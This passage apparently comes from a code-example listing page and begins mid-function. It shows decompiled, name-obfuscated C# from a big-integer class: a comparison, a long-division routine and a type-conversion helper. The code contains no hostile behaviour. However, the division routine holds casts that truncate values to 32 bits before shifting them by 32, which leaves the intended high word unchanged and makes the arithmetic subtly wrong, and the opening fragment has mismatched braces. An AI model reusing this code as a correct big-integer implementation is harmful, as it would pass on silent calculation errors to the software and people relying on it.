        if ((class23_0.uint_0[num] & 2147483648u) == 0u && (class23_1.uint_0[num] & 2147483648u) != 0u)
        {
            result = false;
        }
        else
        {
            int num2 = (class23_0.int_2 > class23_1.int_2) ? class23_0.int_2 : class23_1.int_2;
            num = num2 - 1;
            while (num >= 0 && class23_0.uint_0[num] == class23_1.uint_0[num])
            {
                num--;
            }
            result = (num >= 0 && class23_0.uint_0[num] < class23_1.uint_0[num]);
        }
        }
        return result;
 }
コード例 #59
0
 private static void smethod_21(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3)
 {
     uint[] array = new uint[500];
        int num = class23_0.int_2 + 1;
        uint[] array2 = new uint[num];
        uint num2 = 2147483648u;
        uint num3 = class23_1.uint_0[class23_1.int_2 - 1];
        int num4 = 0;
        int num5 = 0;
        while (num2 != 0u && (num3 & num2) == 0u)
        {
        num4++;
        num2 >>= 1;
        }
        for (int i = 0; i < class23_0.int_2; i++)
        {
        array2[i] = class23_0.uint_0[i];
        }
        Class23.smethod_10(array2, num4);
        class23_1 = Class23.smethod_9(class23_1, num4);
        int j = num - class23_1.int_2;
        int num6 = num - 1;
        ulong num7 = (ulong)class23_1.uint_0[class23_1.int_2 - 1];
        ulong num8 = (ulong)class23_1.uint_0[class23_1.int_2 - 2];
        int num9 = class23_1.int_2 + 1;
        uint[] array3 = new uint[num9];
        while (j > 0)
        {
        ulong num10 = ((uint)((ulong)array2[num6]) << 32) + (ulong)array2[num6 - 1];
        ulong num11 = num10 / num7;
        ulong num12 = num10 % num7;
        bool flag = false;
        while (!flag)
        {
            flag = true;
            if (num11 == 4294967296uL || num11 * num8 > ((uint)num12 << 32) + (ulong)array2[num6 - 2])
            {
                num11 -= 1uL;
                num12 += num7;
                if (num12 < 4294967296uL)
                {
                    flag = false;
                }
            }
        }
        for (int k = 0; k < num9; k++)
        {
            array3[k] = array2[num6 - k];
        }
        Class23 @class = new Class23(array3);
        Class23 class2 = Class23.smethod_8(class23_1, Class23.smethod_0((long)num11));
        while (Class23.smethod_17(class2, @class))
        {
            num11 -= 1uL;
            class2 = Class23.smethod_6(class2, class23_1);
        }
        Class23 class3 = Class23.smethod_6(@class, class2);
        for (int k = 0; k < num9; k++)
        {
            array2[num6 - k] = class3.uint_0[class23_1.int_2 - k];
        }
        array[num5++] = (uint)num11;
        num6--;
        j--;
        }
        class23_2.int_2 = num5;
        int l = 0;
        int num13 = class23_2.int_2 - 1;
        while (num13 >= 0)
        {
        class23_2.uint_0[l] = array[num13];
        num13--;
        l++;
        }
        while (l < 500)
        {
        class23_2.uint_0[l] = 0u;
        l++;
        }
        while (class23_2.int_2 > 1 && class23_2.uint_0[class23_2.int_2 - 1] == 0u)
        {
        class23_2.int_2--;
        }
        if (class23_2.int_2 == 0)
        {
        class23_2.int_2 = 1;
        }
        class23_3.int_2 = Class23.smethod_12(array2, num4);
        for (l = 0; l < class23_3.int_2; l++)
        {
        class23_3.uint_0[l] = array2[l];
        }
        while (l < 500)
        {
        class23_3.uint_0[l] = 0u;
        l++;
        }
 }
コード例 #60
0
    // Token: 0x060005B8 RID: 1464 RVA: 0x00027754 File Offset: 0x00025954
    private static Class23.Enum5 smethod_9(object object_0, object object_1, Type type_0, out object object_2)
    {
        if (object_0 == null)
        {
            throw new ArgumentNullException("initialValue");
        }
        if (Class90.smethod_11(type_0))
        {
            type_0 = Nullable.GetUnderlyingType(type_0);
        }
        Type type = object_0.GetType();

        if (type_0 == type)
        {
            object_2 = object_0;
            return((Class23.Enum5) 0);
        }
        if (Class23.smethod_3(object_0.GetType()) && Class23.smethod_3(type_0))
        {
            if (type_0.smethod_8())
            {
                if (object_0 is string)
                {
                    object_2 = Enum.Parse(type_0, object_0.ToString(), true);
                    return((Class23.Enum5) 0);
                }
                if (Class23.smethod_13(object_0))
                {
                    object_2 = Enum.ToObject(type_0, object_0);
                    return((Class23.Enum5) 0);
                }
            }
            object_2 = Convert.ChangeType(object_0, type_0, object_1);
            return((Class23.Enum5) 0);
        }
        if (object_0 is DateTime)
        {
            DateTime dateTime = (DateTime)object_0;
            if (type_0 == typeof(DateTimeOffset))
            {
                object_2 = new DateTimeOffset(dateTime);
                return((Class23.Enum5) 0);
            }
        }
        byte[] b;
        if ((b = (object_0 as byte[])) != null && type_0 == typeof(Guid))
        {
            object_2 = new Guid(b);
            return((Class23.Enum5) 0);
        }
        if (object_0 is Guid)
        {
            Guid guid = (Guid)object_0;
            if (type_0 == typeof(byte[]))
            {
                object_2 = guid.ToByteArray();
                return((Class23.Enum5) 0);
            }
        }
        string text;

        if ((text = (object_0 as string)) != null)
        {
            if (type_0 == typeof(Guid))
            {
                object_2 = new Guid(text);
                return((Class23.Enum5) 0);
            }
            if (type_0 == typeof(Uri))
            {
                object_2 = new Uri(text, UriKind.RelativeOrAbsolute);
                return((Class23.Enum5) 0);
            }
            if (type_0 == typeof(TimeSpan))
            {
                object_2 = Class23.smethod_4(text);
                return((Class23.Enum5) 0);
            }
            if (type_0 == typeof(byte[]))
            {
                object_2 = Convert.FromBase64String(text);
                return((Class23.Enum5) 0);
            }
            if (type_0 == typeof(Version))
            {
                Version version;
                if (Version.TryParse(text, out version))
                {
                    object_2 = version;
                    return((Class23.Enum5) 0);
                }
                object_2 = null;
                return((Class23.Enum5) 3);
            }
            else if (typeof(Type).IsAssignableFrom(type_0))
            {
                object_2 = Type.GetType(text, true);
                return((Class23.Enum5) 0);
            }
        }
        if (type_0 == typeof(BigInteger))
        {
            object_2 = Class23.smethod_6(object_0);
            return((Class23.Enum5) 0);
        }
        if (object_0 is BigInteger)
        {
            BigInteger bigInteger_ = (BigInteger)object_0;
            object_2 = Class23.smethod_7(bigInteger_, type_0);
            return((Class23.Enum5) 0);
        }
        TypeConverter converter = TypeDescriptor.GetConverter(type);

        if (converter != null && converter.CanConvertTo(type_0))
        {
            object_2 = converter.ConvertTo(null, object_1, object_0, type_0);
            return((Class23.Enum5) 0);
        }
        TypeConverter converter2 = TypeDescriptor.GetConverter(type_0);

        if (converter2 != null && converter2.CanConvertFrom(type))
        {
            object_2 = converter2.ConvertFrom(null, object_1, object_0);
            return((Class23.Enum5) 0);
        }
        if (object_0 == DBNull.Value)
        {
            if (Class90.smethod_10(type_0))
            {
                object_2 = Class23.smethod_11(null, type, type_0);
                return((Class23.Enum5) 0);
            }
            object_2 = null;
            return((Class23.Enum5) 1);
        }
        else
        {
            if (!type_0.smethod_3() && !type_0.smethod_5() && !type_0.smethod_11())
            {
                object_2 = null;
                return((Class23.Enum5) 3);
            }
            object_2 = null;
            return((Class23.Enum5) 2);
        }
    }